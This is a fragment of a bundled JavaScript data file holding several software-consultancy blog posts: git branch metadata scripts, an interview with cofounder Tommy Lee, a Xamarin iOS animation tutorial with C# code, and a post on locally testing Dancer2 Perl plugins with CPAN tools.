\"origin\"\n },\n experimental {\n ready-to-share \"nope\",\n }\n}\n\n# only for some branches\n$ git show-meta --branch=experimental --branch=graph\n{\n experimental {\n ready-to-share \"nope\",\n },\n graph {\n merge \"refs/heads/master\",\n remote \"origin\",\n ready-to-share \"yup\",\n }\n}\n\n# only show a specific key\n$ git show-meta ready-to-share\n{\n experimental {\n ready-to-share \"nope\"\n },\n graph {\n ready-to-share \"yup\"\n },\n}\n\n# only show a specific value\n$ git show-meta ready-to-share yup\n{\n graph {\n ready-to-share \"yup\"\n }\n}\n\n# show it for scripting pipeline consumption\n$ git show-meta --format=json ready-to-share yup\n{\n\"graph\" : {\n \"ready-to-share\" : \"yup\"\n}\n}\n\n$ git show-meta --format=column ready-to-share yup\ngraph ready-to-share yup\n\n# go wild\n$ git show-meta --format=column ready-to-share yup \\\n | cut -d' ' -f 1 \\\n | xargs -IX git push github X\n```\n\n## Last words: links & lessons\n\nQuickly, what I hope you took away from this blog entry:\n\n- Always make your git branch names informative.\n- â¦but not informative to the point of clogginess. Instead, for that\n kind of thing we can leverage the per-branch segments of git's own\n configuration system.\n- Interacting with that configuration, either via `git config` or\n helper scripts is nowhere as scary as one would think.\n\nThe `git` commands discussed in this blog entry are also available in\nmy GitHub environment repository:\n[git-meta](https://github.com/yanick/environment/blob/master/bin/git-meta)\nand\n[git-show-meta](https://github.com/yanick/environment/blob/master/bin/git-show-meta).\n\nShare and enjoy!\n",icon:em.A,color:"green"},ef={slug:"meet-tommy-lee",title:"Meet Tommy Lee",excerpt:"An interview with Tommy Lee.",authors:["Tommy Lee","Emal Sakwall"],publishDate:new Date("2016-04-15"),category:"Team",tags:["Culture","People","Interview"],readTime:"5 min read",content:"_In the latest post in our interview series, weâre pleased to\nintroduce you to Tommy Lee._\n\nMeet Tommy. He is half of the founding duo of Infinity, a NY Yankees\nseason ticket holder and a sleep-deprived parent of three precocious\nyoung girls.\n\n\x3c!-- cut --\x3e\n\n**Name, Company, Title, City**\n\nTommy W. Lee / Infinity / Executive VP / NYC\n\n**When did you first work with Infinity?**\n\nFrom day one, back on February 25, 1998.\n\n**What are six words you think of when you think of Infinity?**\n\nPeople, culture, technology, solutions, careful, nimbleness\n\n**What made you decide to start the company with Jeremy?**\n\nAfter graduating from NYU in 1996, I worked at Salomon Brothers.\nJeremy [Shao] was at a startup technology consulting company\n(Know-ware Consulting); their first hire. After about a year, he\nrecruited me to the startup as their second hire. As Know-ware grew,\nwe realized that they didn't share our perspectives on how employees\nsh
1ould be treated. The only way to have the environment we craved was\nto create it, and so Infinity was born.\n\n**Do you miss the early days or not? What was it like then?**\n\nIt was a much simpler time, but I certainly do not miss dial-up\ninternet. Money was tight and we survived on a lot of 99\xa2 Double\nCheeseburgers. We also were lucky enough to have the encouragement,\npatience, and loving care of our wives (then girlfriends).\n\n**Where was the first Infinity office? What was it like there?**\n\nOur first office was at 625 Broadway, NY, in the south end of what was\nthen called âSilicon Alley.â With that first office it felt like we\nhad officially arrived. It was a fairly large space where we had two\noffices, a conference room, a reception area, and an open space for\neveryoneâs desks.\n\nWe could only afford used office furniture but filled it out the best\nwe could. We had a painting party with a bunch of college friends ---\nwhich turned out to be a very inefficient way to paint the office\nbecause of all the paint we wasted. Some things are just better off\nleaving for the experts.\n\nThe office was definitely interesting. On the plus side, there was a\nphoto shoot studio across the street where we could watch models being\nphotographed. The downside came at night. The office was in a building\nwith a restaurant where bands would play. The loud music would cause\nthe rodent inhabitants to scurry upwards through the building. Even\nthough we were on the 9th floor, we frequently had unwelcomed\nvisitors.\n\n**When you started Infinity, did you already have clients or was it\ndifficult at first?**\n\nWe did not have any clients and were not allowed to approach any\nclients of our former company. So, it was a very difficult start. I\nremember our first client was Cardinal Components; they supplied\ncrystals, oscillators, and other quartz based components to the\nelectronics industry. We built a MS Access application to automate the\ncreation of part numbers based on specifications of the components.\nAmusingly, the owner of Cardinal Components actually donated an old\nphotocopier for our first office. We are still forever grateful for\nthe opportunity.\n\nAnother early one was a project for the San Jose Tech Museum. We\npartnered with Iguana Studios and Galan Communications on a San Jose\nTech Museum exhibit called \"Hi it's me!\" where we turned AT&T Labs\ntechnologies into fun interactive kiosks for kids. These advanced\ntechnologies (for the year 1999) included voice recognition, motion\nsensing input device, and text-to-speech synthesis. In an early test\nof our adaptability and resilience, the shipping courier dropped the\nproduction hosting server while it was in transit. Several of the hard\ndrives in the RAID configuration were dead on arrival in San Jose. We\nhad to work round the clock to recreate portions of the programs. But\nwe did it. Overall, it was a success and a great experience for the\nteam.\n\n**What are you most proud of about Infinity?**\n\nIâm most proud that we are still around and growing, after 18 years.\nWe survived the dot-com bubble burst of 2000 and the financial crisis\nof 2008. And we far outlasted our former employer, Know-ware\nConsulting, who folded after struggling through the dot-com bubble\nburst. I always joke that they got âNo-Where.â\n\n**What is one thing you think people might not know about Infinity,\nbut should?**\n\nOur original logo was two lower case italicized iâs, one taller\n(Jeremy), one shorter (Tommy), that represented the two founders.\n\n**Do you still write code?**\n\nI have not touched any code in several years. Our team has so many\nmore skillful programmers than I.\n\n**What is your work environment like now?**\n\nNo office for me anymore. I now work from home; mostly sitting in the\nliving room of a small 2-bedroom apartment. Certainly lots of NYC\nnoise and lots of children noise. Sometimes I take conference calls in\nthe bathroom just because itâs quiet and peaceful there.\n\n**How do you recharge?**\n\nLet my wife take the kids to school so I can sleep in late. :)\nSleeping seems like a waste of time, but is necessary. Since Iâve\nself-diagnosed myself as being a poor sleeper (takes a long time to\nfall asleep, get into deep sleep, and stay asleep), it amplifies that\ntheory of wasting my own time. It may take me 9-10hrs of âsleepâ to\nget the recharge of someone elseâs 6-7hrs.\n",icon:r.A,color:"blue"},ew={slug:"ios-animations-in-xamarin",title:"iOS Animations in Xamarin",excerpt:"Learn about several animation techniques to use in your Xamarin/iOS projects",authors:["Will Hutchinson"],publishDate:new Date("2016-04-01"),category:"Development",tags:["Technology","Xamarin","C Sharp","Animation"],readTime:"15 min read",content:"<div class=\"float:right\">\n <img src=\"/content/images/blogs/xamarin-ios-animations/taxchat-callout.png\"\n alt=\"TaxChat onboarding screen\"\n title=\"TaxChat onboarding screen\"\n width=\"250\"\n />\n</div>\n\nWe recently launched the app\n[TaxChat](https://itunes.apple.com/us/app/taxchat-its-as-simple-as-chat/id1074073261?mt=8),\n\"tax preparation for people who have better things to do.\" The iOS app\nsaves you from having to do your taxes by yourself; instead you just\nanswer a few questions, snap a couple of photos and a certified tax\nprofessional will take care of your tax return for you. All through a\nbeautiful & intuitive interface. You can read more about it at\n[tax.chat](http://tax.chat/).\n\nSince we built TaxChat using [Xamarin](https://www.xamarin.com/), I\nfigure this is a great time to write a post on iOS animations in\nXamarin and detail some of the animations seen in the app. If you\ndon't already know about Xamarin, check out this\n[introduction to Xamarin](/resources/blog/xamarin-an-exciting-option-for-cross-platform-mobile-development)\nby our resident [Xamarin MVP](https://www.xamarin.com/mvp), Sean\nSparkman. Essentially, Xamarin allows you to build native apps for\nmultiple platforms all in C#, which is pretty sweet.\n\n\x3c!-- cut --\x3e\n\n## Why animate?\n\nAnimations are an important part of any user interface. Subtle\nanimations can turn a static layout into an engaging experience by\nshowing movement when an action occurs or informing the user that\nsomething is happening. Not only can animations be helpful, but when\ndone properly, they create a very polished look and feel. There are\nquite a few ways to animate in iOS, some of which are mentioned in\n[Xamarin's CoreAnimation intro](https://developer.xamarin.com/recipes/ios/animation/coreanimation/).\nIn this post I'll discuss `AnimateNotify`, `AnimateKeyframes` and\n`AddKeyframeWithRelativeStartTime`, since that's what I used in\nTaxChat. I'll show the animation comps for a few screens, go over\nwhat's happening and then discuss the code.\n\n## Simple position animation\n\n<video class=\"float:left\" width=\"250\" poster=\"/content/images/blogs/xamarin-ios-animations/TaxChat-Onboarding.png\" controls>\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-Onboarding.webm\" type=\"video/webm\">\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-Onboarding.mp4\" type=\"video/mp4\">\n</video>\n\nThis video comp shows the launch screen and four onboarding screens\nvisible when you first open the app. I'm going to focus on the second\nscreen with the yellow background first since it's the simplest\nanimation. Here we have six icons, when the screen appears the second\nand third row icons slide in from the right to line up horizontally\nwith the first row icons. When the screen disappears the icons slide\nback over to the right. The six icons are inside a container `UIView`\nwhich has the necessary constraints placed on it, so all we have to\nworry about is updating the positioning of those icons inside the\ncontainer.\n\nTo set the stage, let me say that this screen is fully laid out in the\nstoryboard with the icons lined up in their final position. On load\nwe'll adjust the second row icons to have a 10pt offset and the third\nrow a 20pt offset. To update the positioning we'll use the elements'\ncenter `CGPoint`.\n\n```csharp\npublic override void ViewDidLoad()\n{\n base.ViewDidLoad();\n\n // set icon offsets\n iconThree.Center = new CGPoint(iconThree.Center.X + 10, iconThree.Center.Y);\n iconFour.Center = new CGPoint(iconFour.Center.X + 10, iconFour.Center.Y);\n iconFive.Center = new CGPoint(iconFive.Center.X + 20, iconFive.Center.Y);\n iconSix.Center = new CGPoint(iconSix.Center.X + 20, iconSix.Center.Y);\n}\n```\n\nWhen the view is going to appear we'll animate those icons back to\ntheir base position. We'll be using `AnimateNotify` with a one second\nduration, no time delay, an optional easing and since we don't need\nanything to happen on completion we'll make that null. The Xamarin\ndocumentation has a\n[full list of all the UIViewAnimationOptions](https://developer.xamarin.com/api/type/MonoTouch.UIKit.UIViewAnimationOptions/).\nIt should also be noted that you can use multiple\n`UIViewAnimationOptions` by separating them with a pipe operator.\n\n```csharp\npublic override void ViewWillAp
1pear(bool animated)\n{\n base.ViewWillAppear(animated);\n\n // AnimateNotify ( duration in seconds, delay in seconds, options, animations, completion )\n UIView.AnimateNotify(1, 0, UIViewAnimationOptions.CurveEaseOut,\n ()=> {\n iconThree.Center = new CGPoint(iconThree.Center.X - 10, iconThree.Center.Y);\n iconFour.Center = new CGPoint(iconFour.Center.X - 10, iconFour.Center.Y);\n iconFive.Center = new CGPoint(iconFive.Center.X - 20, iconFive.Center.Y);\n iconSix.Center = new CGPoint(iconSix.Center.X - 20, iconSix.Center.Y);\n }, null);\n}\n```\n\nWhen the view is going to disappear, we'll animate the icons over to\ntheir offset position again.\n\n```csharp\npublic override void ViewWillDisappear(bool animated)\n{\n base.ViewWillDisappear(animated);\n\n UIView.AnimateNotify(1, 0, UIViewAnimationOptions.CurveEaseOut,\n ()=> {\n iconThree.Center = new CGPoint(iconThree.Center.X + 10, iconThree.Center.Y);\n iconFour.Center = new CGPoint(iconFour.Center.X + 10, iconFour.Center.Y);\n iconFive.Center = new CGPoint(iconFive.Center.X + 20, iconFive.Center.Y);\n iconSix.Center = new CGPoint(iconSix.Center.X + 20, iconSix.Center.Y);\n }, null);\n}\n```\n\n## Grouped animations\n\n<img class=\"float:left\" width=250\n src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-Onboarding-Chat.png\"\n alt=\"TaxChat Onboarding Chat Screen\"\n title=\"TaxChat Onboarding Chat Screen\" />\n\nAlright, that first one was simple enough. Let's move on to the third\nonboarding screen (light gray background) now. Here we have three\nimages, one of a tax return and two chat bubbles. While fading in the\ntax return slides up, the first chat bubble slides right, and the\nsecond chat bubble slides left. There are a couple differences with\nthis screen and the last. First, the animations are staggered\nslightly. This means we can't use one `AnimateNotify` block, so\ninstead we'll use `AnimateKeyframes` and\n`AddKeyframeWithRelativeStartTime`. Second, we have constraints set on\neach of these images. This means we can't adjust their positioning\nlike before, instead we'll have to update the corresponding\nconstraints placed on each image.\n\nThis screen is also fully laid out in the storyboard with all the\nimages in their final position. When the view loads we'll set the\nstarting points for our animations.\n\n```csharp\npublic override void ViewDidLoad()\n{\n base.ViewDidLoad();\n\n chatBubbleOne.Alpha = 0f;\n chatBubbleTwo.Alpha = 0f;\n taxReturnImage.Alpha = 0f;\n\n // shift horizontal center constraint to the left 10\n chatBubbleOneCenter.Constant = -15f;\n\n // shift leading constraint to the right 10\n chatBubbleTwoLeading.Constant = 80f;\n\n // shift top constraint down 10\n taxReturnImageTop.Constant = 70f;\n\n View.SetNeedsLayout(); // specify the layout needs updating\n View.LayoutIfNeeded(); // update layout\n}\n```\n\nWhen the view is going to appear we'll animate things back into place.\nWe'll be using `AnimateKeyframes` with a one second duration, no time\ndelay, an optional easing and since we don't need anything to happen\non completion we'll leave that empty (null throws an error). The\nXamarin documentation also has a\n[full list of all the IViewKeyframeAnimationOptions](https://developer.xamarin.com/api/type/MonoTouch.UIKit.UIViewKeyframeAnimationOptions/).\n\n```csharp\npublic override void ViewWillAppear(bool animated)\n{\n base.ViewWillAppear(animated);\n\n // AnimateKeyframes ( duration in seconds, delay in seconds, options, animations, completion )\n UIView.AnimateKeyframes(1, 0, UIViewKeyframeAnimationOptions.CalculationModeLinear, () => {\n\n // AddKeyframeWithRelativeStartTime ( start time, duration, animations )\n // start time and duration are 0-1 as percentage of wrapping AnimateKeyframes duration\n UIView.AddKeyframeWithRelativeStartTime (0, 0.4, () => {\n taxReturnImageTop.Constant = 60f;\n taxReturnImage.Alpha = 1f;\n });\n UIView.AddKeyframeWithRelativeStartTime (0.2, 0.5, () => {\n chatBubbleOneCenter.Constant = -5f;\n chatBubbleOne.Alpha = 1f;\n });\n UIView.AddKeyframeWithRelativeStartTime (0.4, 0.6, () => {\n chatBubbleTwoLeading.Constant = 70f;\n chatBubbleTwo.Alpha = 1f;\n });\n View.SetNeedsLayout();\n View.LayoutIfNeeded();\n }, (finished) => {});\n}\n```\n\nLet's go over the keyframe animations above. `AnimateKeyframes` and\n`AddKeyframeWithRelativeStartTime` work together. `AnimateKeyframes`\nis the container that c
1ontrols the overall settings of the animation\ngroup. As the name suggests, `AddKeyframeWithRelativeStartTime` adds\nthe ability to adjust the start time and duration of animations inside\nthe group relative to the duration specified in `AnimateKeyframes`.\nAbove we have our entire group of animations lasting 1 second. The tax\nreturn image animation starts immediately and lasts 0.4 or 40% of the\noverall duration, which in this case is 0.4 seconds. The second chat\nbubble animation has a start time delay of 0.4 or 40% of the overall\nduration and lasts 0.6 or 60% of the overall duration. Notice in that\nscenerio both the delay and duration add up to 1.0 or 100%. If the\ntotal combined value of delay and duration in\n`AddKeyframeWithRelativeStartTime` is greater than 1.0 your animation\nwill get cut short and jump right to the final specified settings when\nthe overall duration is reached.\n\nSomething else to point out from the above animation block is the call\nto `View.SetNeedsLayout()` and `View.LayoutIfNeeded()`. Both of these\nare necessary because we are updating constraint values.\
1n`SetNeedsLayout` gets called on a view to specify that the view's\nlayout needs updating. `LayoutIfNeeded` is then called to update the\nlayout for any items that need it. If you do not call these you will\nnot see the animation, just the end result. Also rememeber to make\nsure you're not creating any conflicts when updating constraints.\n\n## Chained animations with spring\n\n<video class=\"float:right\" width=\"250\" poster=\"/content/images/blogs/xamarin-ios-animations/TaxChat-FindingExpert.png\" controls>\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-FindingExpert.webm\" type=\"video/webm\">\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-FindingExpert.mp4\" type=\"video/mp4\">\n</video>\n\nIn this screen we are also relying on information coming back from the\nback-end API that will signal when to move forward in the onboarding\nprocess, so during these animations, in addition to moving things\naround, we also need to handle any errors or possible delays\nappropriately. Let's break this down and see what we're doing here.\n\nThe elements on this screen are being laid out entirely in the code\nbased on screen size, since the app is locked in portrait mode, we\ndon't have to worry about constraints or screen orientation changes.\nWe have five elements being animated. Three that you can easily\nidentify: the text label and both chevrons; two that are less\nnoticeable, which are cover layers behind each chevron matching the\nbackground. The cover layers hide the text label when the chevrons\nclose while allowing the two chevrons to overlap each other.\n\nFor animations we have: the chevrons opening, closing, and the final\nanimation where the elements disperse and fade out. We will need to\nset up each of these animations as a separate block and call the next\none on completion if all is well. There are a lot of variables used in\nthe following animation blocks. These are being set earlier in the\ncode so the specific values are not shown here, but they should be\nself explanatory. Our chevrons start closed, so when the screen\nappears we'll call our method to open the chevrons.\n\n```csharp\nvoid ChevronsOpen()\n{\n // AnimateNotify ( duration, delay, spring damping, spring velocity, options, animations, completion )\n UIView.AnimateNotify(0.5, 0.5, 0.85, 1.0, 0,\n () => {\n leftChevronView.Center = new CGPoint (chevronOpenX, chevronY);\n rightChevronView.Center = new CGPoint (screenWidth - chevronOpenX, chevronY);\n\n leftCover.Frame = new CGRect (0, 0, coverWidth, screenHeight);\n rightCover.Frame = new CGRect (screenWidth - coverWidth, 0, coverWidth, screenHeight);\n },\n (finished) => {\n\n if(passes >= 4) {\n\n // if at least 4 passes and expert is found, go to expert screen\n if(preparerId > 0 ) {\n ShowExpertScreen();\n }\n // if we've made 12 passes and haven't connected to a preparer\n else if(totalPasses >= 12 && preparerId == 0) {\n FailedToFindPreparerError(); // shows alert and returns to previous screen\n return;\n }\n // give it another run\n else {\n passes = 0;\n ChevronsClose();\n }\n }\n else {\n ChevronsClose();\n }\n }\n );\n}\n```\n\nIn the above method we're using `AnimateNotify` with the optional\nspring damping and velocity parameters to add a slight bounce to the\nchevrons at the end of the animation. The spring damping ratio is a\nvalue between 0 and 1, where the oscillation increases with a smaller\nvalue, so 1 is no oscillation and 0 is max oscillation. The initial\nspring velocity is points per second. We want a very slight\noscillation, so we'll use a 0.85 damping and 1.0 velocity.\n\nIn the completion call we'll check the number of passes we've made,\nwhich we're tracking in the `ChevronsClose` method to follow. If we\nare at less than four passes we'll call the method for the closing\nanimation. If we are at four or more passes then we'll check to see if\nwe have a TaxChat expert lined up. If so, we'll call\n`ShowExpertScreen` which will run our final animation and move on to\nthe next screen. If not, we'll either give it some more time or go\nback after 12 passes.\n\nLet's take a look at our close animation method. Here we're animating\nour chevrons back to their center positions using the same spring\ndamping and velocity values. O
1n completion we update the label text,\nattempt to match the user with a tax preparer, update the pass count\nand then call the `ChevronsOpen` method.\n\n```csharp\nvoid ChevronsClose()\n{\n // AnimateNotify ( duration, delay, spring damping, spring velocity, options, animations, completion )\n UIView.AnimateNotify(0.5, 0.5, 0.85, 1.0, 0,\n () => {\n leftChevronView.Center = leftChevronCenter;\n rightChevronView.Center = rightChevronCenter;\n\n leftCover.Frame = leftCoverFrame;\n rightCover.Frame = rightCoverFrame;\n },\n (finished) => {\n // swap out text on even passes\n if(passes % 2 == 0) {\n titleLabel.Text = \"We're finding your TaxChat Expert\";\n }\n else {\n titleLabel.Text = \"Just a moment\";\n }\n // match user with a preparer\n AsyncHelper.RunSync<bool> (GetPreparerId);\n\n passes += 1;\n totalPasses += 1;\n\n ChevronsOpen();\n }\n );\n}\n```\n\nWhen we're ready to move on we call the `ShowExpertScreen` method.\nHere we're animating our chevrons and text label out with no spring\neffect. Then when the animation is complete we move on to our next\nscreen.\n\n```csharp\nvoid ShowExpertScreen()\n{\n // AnimateNotify ( duration, delay, options, animations, completion )\n UIView.AnimateNotify(0.5, 0.5, UIViewAnimationOptions.CurveEaseInOut,\n () => {\n leftChevronView.Alpha = 0;\n leftChevronView.Center = new CGPoint (20 + 11, chevronY);\n rightChevronView.Alpha = 0;\n rightChevronView.Center = new CGPoint (screenWidth - (20 + 11), chevronY);\n titleLabel.Alpha = 0;\n titleLabel.Center = new CGPoint (titleLabel.Center.X, titleLabel.Center.Y - 50);\n },\n (finished) => {\n // go to next screen\n NavigationController.PushViewController(expertController, true);\n }\n );\n}\n```\n\n## To be continuedâ¦\n\nSo those are a few ways to animate in Xamarin.iOS. There are many\nmore. It may seem complicated, but it's really not that bad. If you're\nthinking about adding animations to your app, things are going to go a\nlot smoother if you have a designer who can provide animation comps.\nFor the animations in TaxChat we were given video comps, as shown, and\n[Flinto](https://www.flinto.com/) prototypes, which were also helpful.\nHaving a set visual guide for your animations will allow you to plan\nand implement the best solution.\n\nThere are still a couple more animations from TaxChat that I'd like to\nshare with you, but to keep things a bit more digestable I'm going to\nsplit those off into a second post that'll be coming up soon. The next\npost will discuss animating a\n[CGAffineTransform](https://developer.xamarin.com/api/type/MonoMac.CoreGraphics.CGAffineTransform/)\nand using\n[CABasicAnimation](https://developer.xamarin.com/api/type/CoreAnimation.CABasicAnimation/).\nThanks for reading, I hope you enjoyed this post and I look forward to\nhaving you return for part two. Cheers!\n",icon:M.A,color:"red"},ey={slug:"herding-camels",title:"Herding Camels",excerpt:"Exploring tools useful for the herding and testing a group of Perl modules",authors:["Yanick Champoux"],publishDate:new Date("2016-02-12"),category:"Development",tags:["Technology","Perl","Git"],readTime:"7 min read",content:"They say that no man is an island. Likewise, no software runs in a\nvoid. Well, except maybe for Voyager's main control. But that's not\nthe same. And beside the point.\n\nSo, as I was saying, no software runs in a void. There are\ndependencies to think about. And depending of where you are in the\noverall stack, those can come in two flavors. There are, obviously\nenough, the dependencies that you are using, and there are the reverse\ndependencies; the other pieces of software that depends on your own.\n\nFortunately, testing is a very deeply ingrained characteristic of the\nPerl world. Modules come with their test suites, and the\never-vigilant, ever-running [CPANtesters](http://www.cpantesters.org)\nensures that if a new release of a CPAN module breaks tests of\nanother, authors are more likely than not to learn about it rather\nquickly.\n\nThat's already mightily fine. But sometimes one needs more⦠custom\narrangements. Recently I had such needs, and with the judicious use of\nalready-existing tools I was able create a little setup that would not\nonly allow me to test a selection of modules on my box, but also let\nme painlessly upgrade those modules when they'd change on CPAN.\n\n\x3c!-- cut --\x3e\n\n## My personal use case\n\nAs some of you might know, I'm part of the\n[Dancer](http://perldancer.org/) core crew. In the last few months,\nI've been cooking a\n[new incarnation of its plugin architecture](https://github.com/PerlDancer/Dancer2/pull/1010).\nThoroughly new, very shiny, only smells faintly of madness â all in\nall, a spiffy affair. And then\n[SawyerX](https://metacpan.org/author/XSAWYERX) moved in and added\nbackward-compatible layer that should allow to transparently swap the\nold and squeaky `Dancer2::Plugin` with its new and improved version\nwithout any work from the plugin authors. Assuming this patch delivers\non its promises, it would allow the gates of a glorious future to be\nboldly unlatched while the barn doors of backward-compatibility would\nremain wide open.\n\nAwesome. But⦠does it?\n\nOne way to find out would be to push the changes to CPAN and see what\nhappens. That'd be simple, but a mite⦠high-handed. Or we could\nrelease it as a trial release and ask people to test their plugins.\nWhich would be nicer, but would require the concerted effort of all\nplugin authors.\n\nNo, really, in this case what we want is to test things locally, as\noften as we want, and with all the tweaks we might want to put in.\n\nSo let's see how to do just that.\n\n## Drawing the list\n\nFirst challenge: find all the modules of interest. For my specific\ncase, since I know that all Dancer2 plugins will be within the\n`Dancer2::Plugin::\\*` namespace, grepping through\n`02packages.details.txt` (found in all good CPAN mirrors) would\nsuffice. That'll do it.\n\n```shell\n$ curl http://cpan.metacpan.org/modules/02packages.details.txt.gz \\\n | zcat \\\n | grep Dancer2::Plugin\n\nDancer2::Plugin::Ajax 0.200000 X/XS/XSAWYERX/Dancer2-Plugin-Ajax-0.200000.tar.gz\nDancer2::Plugin::AppRole::Helper 1.152121 M/MI/MITHALDU/Dancer2-Plugin-AppRole-Helper-1.152121.tar.gz\nDancer2::Plugin::AppRole::LogContextual 1.152121 M/MI/MITHALDU/Dancer2-Plugin-LogContextual-1.152121.tar.gz\nDancer2::Plugin::AppRole::LogContextualWarn 1.152121 M/MI/MITHALDU/Dancer2-Plugin-LogContextual-1.152121.tar.gz\n[..]\n```\n\nIt works. But it's crude, limited, and, I'm sure you'll agree, not\nfun.\n\nFor a more general approach, we can leverage the MetaCPAN database. It\nholds information on all CPAN modules, including nifty things like\ndeclared dependencies. Better, it's\n[ElasticSearch](https://www.elastic.co/products/elasticsearch)-powered\nand accessible via a [REST interface](https://explorer.metacpan.org).\nBetterer still: there's even a module,\n[MetaCPAN::Client](https://metacpan.org/release/MetaCPAN-Client), to\ninterface with that interface.\n\nFor my plugins, I can use this script,\n\n```perl\n#!/usr/bin/env perl\n\nuse 5.10.0;\n\nuse MetaCPAN::Client;\n\nmy $result = MetaCPAN::Client->new->distribution( { name => 'Dancer2-Plugin-*' });\n\nsay $_->name while $_ = $result->next;\n```\n\nand it will gives me\n\n```shell\n$ perl get_plugins.pl\n\nDancer2-Plugin-ParamKeywords\nDancer2-Plugin-Ajax\nDancer2-Plugin-Queue-MongoDB\nDancer2-Plugin-SendAs\nDancer2-Plugin-Locale\nDancer2-Plugin-BrowserDetect\nDancer2-Plugin-Multilang\nDancer2-Plugin-Paginator\nDancer2-Plugin-Sixpack\nDancer2-Plugin-Chain\nDancer2-Plugin-Growler\n```\n\nBeautiful. And if I ever want to draw a different list, I only need to\nchange my query. Want all the Dancer2 plugins I've authored in the\nlast year? No sweat:\n\n```perl\nuse 5.10.0;\n\nuse List::MoreUtils qw/ uniq /;\nuse MetaCPAN::Client;\n\nmy $result = MetaCPAN::Client->new->all('releases', {\n es_filter => {\n and => [\n { range => { 'release.date' => { 'gte' => '2015-01-01T00:00:01' } } },\n { term => { 'release.author' => 'YANICK' } },\n ]\n }\n});\n\nmy @distro;\n\nwhile( my $rel = $result->next ) {\n push @distro, $rel->distribution;\n}\n\nsay for uniq sort grep { /^Dancer2-Plugin-/ } @distro;\n```\n\n## Getting local copies\n\nNow that we have the list of modules we want, we want to get a local\ncopy of all of them. We could download their latest CPAN releases, but\nit'll be a pain to keep in sync if our testing takes a while and the\nmodules are updated on CPAN.\n\nInstead, we'll use\n[Git::CPAN::Patch](https://metacpan.org/release/Git-CPAN-Patch). This\nmodule adds a few `git` subcommands. Amongst them, `git cpan clone`,\nwhich creates a local Git repository with the best history it can get\nfrom a module: if a Git repository is given in the module's META\ninformation, that's what it will use, and if not it'll build a history\nbased on the CPAN releases of that module. Working along that first\ncommand is `git cpan update`, which is smart enough to know which type\nof source we used and detect/import updates.\
1n\nSo, to get my updatable mirror of all plugins, we do\n\n```shell\n$ cat d2_plugins | xargs git cpan clone\n```\n\nand watch all the repos come to life.\n\nWell⦠that's the basic version. As it happens, in the file\n`d2_plugins` listing all the plugins, I commented out some plugins\ncausing problems. And I only care about the current CPAN version of\nthe plugins. And I wanted `xargs` to soldier on even if some plugins\ncouldn't be cloned (`xargs` stops at the first error it meets), so I\nended up doing\n\n```shell\n$ cat d2_plugins | \\\n grep -v '#' | \\\n xargs -IX -- sh -c \"git cpan clone --norepository --latest X || true\"\n```\n\n## Wrangling 'em\n\nNext, it'd be nice to have all those repositories in a kind of group\nso that we can, for example, run a command for all of them.\n\nFor that, we'll be using\n[App::GitGot](https://metacpan.org/release/App-GitGot).\n\nAssuming that we are in the directory where all the cloned plugin\nrepositories are, loading them all into Got and tagging them as\nmembers of the `d2plugins` family is done via\n\n```shell\n$ got add --tag d2plugins -D --recursive .\n```\n\nAnd now that we have all those repos loaded and tagged in `got`, we\ncan do whatever we want with them. Updating them all using the\nafore-mentioned `git cpan update` is done via\n\n $ got do --tag d2plugins --command \"git cpan update\"\n\nOf course, that's something we could have done via `xargs`. But `got`\ngives us further niceties, like getting a status on all repositories\n(which will come in handy if we begin to patch plugin code), further\nrefining tagging (like `d2_read`, `d2_needwork`, `d2_hopeless`),\nmoving the repositories anywhere on our disk, etc.\n\n## Run the tests. All of them\n\nWe have the list of plugins, we have a copy of them locally. We're\nset. Our final step: running all test suites. First with the\nCPAN-installed Dancer2.\n\n```shell\n$ got do --tag d2plugins \\\n --command \"echo -n (git config --get cpan.module-name) \\\n ' '; prove -l t > /dev/null 2> /dev/null \\\n && echo PASSED || echo FAILED\" | perl -ne'print if /PASSED|FAILED/'\n\nDancer2-Plugin-Adapter PASSED\nDancer2-Plugin-Ajax PASSED\nDancer2-Plugin-AppRole-Helper PASSED\nDancer2-Plugin-Articulate PASSED\nDancer2-Plugin-Auth-Extensible PASSED\nDancer2-Plugin-Auth-Extensible-Provider-DBIC FAILED\nDancer2-Plugin-Auth-Extensible-Provider-Usergroup PASSED\nDancer2-Plugin-Auth-HTTP-Basic-DWIW PASSED\nDancer2-Plugin-Auth-OAuth PASSED\nDancer2-Plugin-Auth-Tiny PASSED\n...\n```\n\nFor the sharp-eyed and curious amongst you who wonder where that\n`cpan.module-name` git variable is coming from: `git cpan clone`\npopulated it for us, because it's just nice that way.\n\nNow we can run all those test suites with the modified plugin module:\n\n```shell\n$ export PERL5LIB=/home/yanick/work/perl-modules/dancer/Dancer2/lib\n$ got do --tag d2plugins \\\n --command \"echo -n (git config --get cpan.module-name) \\\n ' '; prove -l t > /dev/null 2> /dev/null \\\n && echo PASSED || echo FAILED\" | perl -ne'print if /PASSED|FAILED/'\n\nDancer2-Plugin-Adapter FAILED\nDancer2-Plugin-Ajax FAILED\nDancer2-Plugin-AppRole-Helper PASSED\nDancer2-Plugin-Articulate PASSED\nDancer2-Plugin-Auth-Extensible FAILED\n...\n```\n\n## Enjoying the bountiful harvest\n\nThe pipeline that we built here is a perfectly satisfying scratchpost\nfor my initial need. I now have most of the Dancer2 plugins cloned\nlocally, and I can gather the results of their test suites with\ndifferent versions of the core Dancer2 libraries. Even better,\neverything is set in such a way that, when I return to this project in\na few weeks, I'll be able to upgrade those plugins to their latest\nversions instead of having to start all over from zero.\n\nIs this a set-up that many of us will need verbatim? No, not really.\nFor most of our needs, CPANTesters and Travis are still good enough.\nBut for more finicky projects involving a disparate smattering of\nrepositories, we now have a few toys â\n[Git::CPAN::Patch](https://metacpan.org/release/Git-CPAN-Patch),\n[Ap
